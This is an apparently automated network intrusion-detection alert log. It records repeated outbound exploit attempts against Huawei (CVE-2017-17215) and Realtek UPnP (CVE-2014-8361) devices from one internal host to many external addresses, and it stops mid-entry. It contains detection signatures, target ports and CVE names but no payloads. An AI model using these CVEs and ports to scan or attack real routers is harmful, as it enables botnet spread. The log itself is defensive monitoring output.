ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.133.143.135

Timestamp:	07/20/24-23:10:46.756934
SID:	2835222
Source Port:	36804
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 190.40.222.140

Timestamp:	07/20/24-23:10:46.779706
SID:	2835222
Source Port:	43124
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 221.255.54.167

Timestamp:	07/20/24-23:10:43.602039
SID:	2025132
Source Port:	40648
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.245.203.100

Timestamp:	07/20/24-23:10:55.995070
SID:	2829579
Source Port:	53062
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 141.20.236.188

Timestamp:	07/20/24-23:10:47.755057
SID:	2025132
Source Port:	38948
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 91.159.64.203

Timestamp:	07/20/24-23:10:42.632104
SID:	2027339
Source Port:	57850
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 86.99.249.186

Timestamp:	07/20/24-23:10:52.010300
SID:	2831300
Source Port:	42234
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 186.61.106.15

Timestamp:	07/20/24-23:10:46.756934
SID:	2829579
Source Port:	50258
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 119.225.230.240

Timestamp:	07/20/24-23:10:47.984093
SID:	2025132
Source Port:	35902
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.159.22.204

Timestamp:	07/20/24-23:10:46.768902
SID:	2829579
Source Port:	36978
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 131.159.98.164

Timestamp:	07/20/24-23:10:39.125097
SID:	2025132
Source Port:	38250
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.11.55.143

Timestamp:	07/20/24-23:10:41.220904
SID:	2835222
Source Port:	57034
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 133.76.164.119

Timestamp:	07/20/24-23:10:45.518508
SID:	2025132
Source Port:	54380
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 116.118.210.76

Timestamp:	07/20/24-23:10:39.889709
SID:	2027339
Source Port:	54014
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 164.168.209.243

Timestamp:	07/20/24-23:10:51.902170
SID:	2831300
Source Port:	51204
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 202.116.72.105

Timestamp:	07/20/24-23:10:43.864804
SID:	2025132
Source Port:	58226
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.182.32.204

Timestamp:	07/20/24-23:10:39.473748
SID:	2829579
Source Port:	40464
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.30.201.248

Timestamp:	07/20/24-23:10:40.649804
SID:	2829579
Source Port:	37594
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.30.88.50

Timestamp:	07/20/24-23:11:06.686627
SID:	2829579
Source Port:	51680
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.193.183.229

Timestamp:	07/20/24-23:11:06.689532
SID:	2829579
Source Port:	59400
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.219.83.230

Timestamp:	07/20/24-23:10:39.434366
SID:	2829579
Source Port:	40632
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 134.159.51.161

Timestamp:	07/20/24-23:10:43.552962
SID:	2025132
Source Port:	37660
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 8.13.226.92

Timestamp:	07/20/24-23:10:51.951774
SID:	2027339
Source Port:	53538
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.206.206.167

Timestamp:	07/20/24-23:10:42.248539
SID:	2829579
Source Port:	54990
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.251.184.233

Timestamp:	07/20/24-23:10:41.227410
SID:	2835222
Source Port:	43682
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.178.151.25

Timestamp:	07/20/24-23:10:52.547373
SID:	2835222
Source Port:	47476
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.143.73.208

Timestamp:	07/20/24-23:10:59.050849
SID:	2835222
Source Port:	50628
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 86.101.91.169

Timestamp:	07/20/24-23:10:45.091662
SID:	2025132
Source Port:	37338
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 140.169.88.3

Timestamp:	07/20/24-23:10:45.219029
SID:	2025132
Source Port:	54138
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 154.244.223.55

Timestamp:	07/20/24-23:10:51.970585
SID:	2831300
Source Port:	38298
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 73.156.239.191

Timestamp:	07/20/24-23:10:52.572631
SID:	2829579
Source Port:	42236
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.139.255.152

Timestamp:	07/20/24-23:10:49.355429
SID:	2829579
Source Port:	45082
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 192.147.178.21

Timestamp:	07/20/24-23:10:51.931701
SID:	2027339
Source Port:	36148
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.119.182.240

Timestamp:	07/20/24-23:11:03.306275
SID:	2835222
Source Port:	54862
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 191.96.230.47

Timestamp:	07/20/24-23:10:39.168210
SID:	2027339
Source Port:	38544
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 140.238.108.223

Timestamp:	07/20/24-23:10:40.652868
SID:	2835222
Source Port:	52524
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.114.104.228

Timestamp:	07/20/24-23:10:41.224086
SID:	2835222
Source Port:	39318
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.255.193.251

Timestamp:	07/20/24-23:10:49.425318
SID:	2835222
Source Port:	57318
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 166.45.141.212

Timestamp:	07/20/24-23:10:51.983127
SID:	2831300
Source Port:	44636
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 2.202.26.203

Timestamp:	07/20/24-23:10:47.823344
SID:	2025132
Source Port:	39140
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 77.45.128.145

Timestamp:	07/20/24-23:10:42.272034
SID:	2829579
Source Port:	38322
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 154.8.108.34

Timestamp:	07/20/24-23:10:52.060416
SID:	2831300
Source Port:	53192
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.163.20.216

Timestamp:	07/20/24-23:11:06.676715
SID:	2835222
Source Port:	39852
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.219.181.162

Timestamp:	07/20/24-23:10:59.029814
SID:	2829579
Source Port:	57584
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 168.40.43.172

Timestamp:	07/20/24-23:10:55.984751
SID:	2829579
Source Port:	41462
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.135.90.131

Timestamp:	07/20/24-23:10:56.011228
SID:	2829579
Source Port:	52608
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.211.198.240

Timestamp:	07/20/24-23:10:40.599066
SID:	2835222
Source Port:	48400
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.16.139.162

Timestamp:	07/20/24-23:11:06.662677
SID:	2829579
Source Port:	39344
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 101.180.103.77

Timestamp:	07/20/24-23:10:51.999918
SID:	2831300
Source Port:	47492
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 108.128.208.18

Timestamp:	07/20/24-23:10:42.630026
SID:	2831300
Source Port:	40126
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 63.75.117.57

Timestamp:	07/20/24-23:10:44.760251
SID:	2027339
Source Port:	36560
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 178.155.139.110

Timestamp:	07/20/24-23:10:51.915609
SID:	2027339
Source Port:	59672
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.254.247.207

Timestamp:	07/20/24-23:10:52.555606
SID:	2835222
Source Port:	58662
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 202.189.249.183

Timestamp:	07/20/24-23:10:52.555606
SID:	2835222
Source Port:	52694
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.238.194.50

Timestamp:	07/20/24-23:10:39.469559
SID:	2829579
Source Port:	45784
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 44.227.239.111

Timestamp:	07/20/24-23:10:39.615805
SID:	2027339
Source Port:	37090
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.237.231.99

Timestamp:	07/20/24-23:10:56.024592
SID:	2835222
Source Port:	48574
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.210.73.76

Timestamp:	07/20/24-23:10:39.495983
SID:	2835222
Source Port:	51542
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 145.173.59.252

Timestamp:	07/20/24-23:11:06.686627
SID:	2829579
Source Port:	42792
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.15.133.184

Timestamp:	07/20/24-23:10:41.227867
SID:	2835222
Source Port:	60384
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.165.162.249

Timestamp:	07/20/24-23:10:52.598915
SID:	2835222
Source Port:	38404
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.248.10.173

Timestamp:	07/20/24-23:10:56.046357
SID:	2835222
Source Port:	35590
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 80.32.231.92

Timestamp:	07/20/24-23:10:41.228259
SID:	2835222
Source Port:	38528
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.112.219.106

Timestamp:	07/20/24-23:10:42.269853
SID:	2829579
Source Port:	36970
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 36.65.48.163

Timestamp:	07/20/24-23:10:51.967169
SID:	2831300
Source Port:	45058
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.102.112.70

Timestamp:	07/20/24-23:10:49.409236
SID:	2829579
Source Port:	58370
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 210.2.46.1

Timestamp:	07/20/24-23:10:40.077099
SID:	2025132
Source Port:	48858
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.61.167.100

Timestamp:	07/20/24-23:10:49.425318
SID:	2829579
Source Port:	47382
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.71.208.160

Timestamp:	07/20/24-23:11:03.402557
SID:	2829579
Source Port:	49624
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.149.2.120

Timestamp:	07/20/24-23:10:52.549474
SID:	2829579
Source Port:	49404
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.106.207.157

Timestamp:	07/20/24-23:11:03.343633
SID:	2829579
Source Port:	45328
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.112.33.100

Timestamp:	07/20/24-23:10:56.007995
SID:	2835222
Source Port:	37294
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.216.192.26

Timestamp:	07/20/24-23:10:41.241455
SID:	2835222
Source Port:	56746
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.3.196.179

Timestamp:	07/20/24-23:11:06.657863
SID:	2829579
Source Port:	44324
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 155.186.2.88

Timestamp:	07/20/24-23:10:42.620216
SID:	2027339
Source Port:	53590
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 201.166.197.193

Timestamp:	07/20/24-23:11:06.646712
SID:	2829579
Source Port:	46576
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.149.117.12

Timestamp:	07/20/24-23:10:42.266162
SID:	2835222
Source Port:	39510
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.237.212.167

Timestamp:	07/20/24-23:10:52.549473
SID:	2835222
Source Port:	33364
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 74.74.206.232

Timestamp:	07/20/24-23:10:51.899861
SID:	2027339
Source Port:	44962
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 119.87.220.235

Timestamp:	07/20/24-23:10:42.619468
SID:	2831300
Source Port:	38990
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 154.155.4.0

Timestamp:	07/20/24-23:11:06.706397
SID:	2835222
Source Port:	52490
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.233.79.117

Timestamp:	07/20/24-23:10:40.652868
SID:	2835222
Source Port:	46756
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.158.41.236

Timestamp:	07/20/24-23:10:52.563890
SID:	2829579
Source Port:	47868
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 138.154.5.192

Timestamp:	07/20/24-23:10:59.006202
SID:	2835222
Source Port:	60616
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.24.221.239

Timestamp:	07/20/24-23:10:46.810541
SID:	2829579
Source Port:	40276
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 2.190.145.125

Timestamp:	07/20/24-23:10:47.896234
SID:	2027339
Source Port:	33652
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 190.9.142.126

Timestamp:	07/20/24-23:10:52.061682
SID:	2831300
Source Port:	41164
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.239.43.82

Timestamp:	07/20/24-23:10:52.558618
SID:	2835222
Source Port:	50846
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 89.6.108.50

Timestamp:	07/20/24-23:11:03.365385
SID:	2829579
Source Port:	57788
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 212.103.36.245

Timestamp:	07/20/24-23:10:41.228607
SID:	2835222
Source Port:	44498
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.37.162.85

Timestamp:	07/20/24-23:10:39.495983
SID:	2829579
Source Port:	36400
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.193.183.76

Timestamp:	07/20/24-23:10:46.865461
SID:	2829579
Source Port:	50586
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 189.209.128.109

Timestamp:	07/20/24-23:10:42.630640
SID:	2831300
Source Port:	41794
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 90.25.2.138

Timestamp:	07/20/24-23:10:51.920409
SID:	2027339
Source Port:	42544
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.126.48.213

Timestamp:	07/20/24-23:10:42.253016
SID:	2829579
Source Port:	54072
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.123.190.135

Timestamp:	07/20/24-23:10:52.546429
SID:	2829579
Source Port:	59802
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 120.127.21.138

Timestamp:	07/20/24-23:10:39.870767
SID:	2027339
Source Port:	39006
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 74.208.48.243

Timestamp:	07/20/24-23:10:42.273908
SID:	2835222
Source Port:	40564
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.205.204.47

Timestamp:	07/20/24-23:10:46.832505
SID:	2829579
Source Port:	53432
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.37.171.52

Timestamp:	07/20/24-23:10:49.342527
SID:	2829579
Source Port:	41794
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.47.17.60

Timestamp:	07/20/24-23:10:55.993044
SID:	2829579
Source Port:	45500
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 200.10.220.119

Timestamp:	07/20/24-23:10:51.970945
SID:	2027339
